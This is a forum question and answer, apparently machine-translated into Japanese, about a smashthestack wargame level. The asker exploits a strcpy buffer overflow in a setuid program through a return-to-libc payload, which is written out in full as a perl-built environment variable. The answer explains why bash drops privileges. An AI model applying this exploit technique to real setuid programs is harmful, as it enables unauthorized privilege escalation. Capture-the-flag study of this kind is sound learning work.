2017-09-13 8 views
0

私はこの基本的なバッファーオーバーフローからなるこのゲーム "ゲーム" http://smashthestack.org/faq.html(ブラックボックスサーバー上でssh経由で接続)のレベル2を渡そうとしています。ディレクトリ/ home/LEVEL2でBOFとnon execスタック

(そのレベルのパスワードを含むファイルと各レベルのディレクトリがあります)GetOwnerメソッドとそのソースコードと呼ばれる実行可能ファイルがある:

#include <stdio.h> 
#include <sys/types.h> 
#include <sys/stat.h> 
#include <unistd.h> 
#include <stdlib.h> 

int main(int argc, char **argv) 
{ 
    char *filename; 
    char buf[128]; 

    if((filename = getenv("filename")) == NULL) { 
     printf("No filename configured!\n"); 
     return 1; 
    } 

    while(*filename == '/') 
     filename++; 
    strcpy(buf, "/tmp/"); 
    strcpy(&buf[strlen(buf)], filename); 

    struct stat stbuf; 
    stat(buf, &stbuf); 
    printf("The owner of this file is: %d\n", stbuf.st_uid); 

    return 0; 
} 

実行可能ファイルを所有するユーザーは、私は、バッファオーバーフローを悪用し、LEVEL3としてシェルを起動することができた場合、私は、ファイル/ホーム/ LEVEL3 /パスワードを読んでパスワードを取得し、レベルを獲得することができますので、LEVEL3

[email protected]:~$ ls -lisa getowner 
2370021 8 -rwsr-x--- 1 level3 gamers 7797 2017-05-24 01:56 getowner 

次のとおりです。私は正しい?

ので

1)私は、環境変数にシェルコードをアップロードし、シェルコードに戻るには、スタック内のリターンアドレスを変更するために、ファイル名の変数を偽造しようとしましたが、あなたは

[email protected]:~$ readelf -l getowner | grep GNU_STACK 
    GNU_STACK  0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 
を見ることができるように

スタック内のコードを実行できません。

2)は、その後、私はまだLEVEL2ユーザー:(

[email protected]:~$ export filename=$(perl -e 'print "a" x135;print "\xb0\x59\xee\xb7" ; print "\x20\xb4\xed\xb7" ; print "\x32\xfe\xff\xbf"') 
[email protected]:~$ ./getowner 
The owner of this file is: -1207961948 
bash-3.1$ id 
uid=1003(level2) gid=1005(gamers) gruppi=1003(level2),1005(gamers) 

だreturn-to-libc攻撃とコールシステム(/ binに/ bashの)が、生成されたシェルで使用するようにしてくださいシステムのアドレスで0xb7ee59b0()、0xb7edb420出口のアドレス(ある)と0xbffffe32文字列/ binに/ bashののアドレスです。

私は他のオプションを持っているか、私は間違っているのですか?

答えて

0

あなた秒アプローチは正しいが、/bin/shまたは(/bin/dash/bin/sh/bin/bashへのシンボリックリンクの場合)。

bashの最初のものの1つは、euid特権をuidに落とすことです。詳細については、this stackexchange答えを参照してください。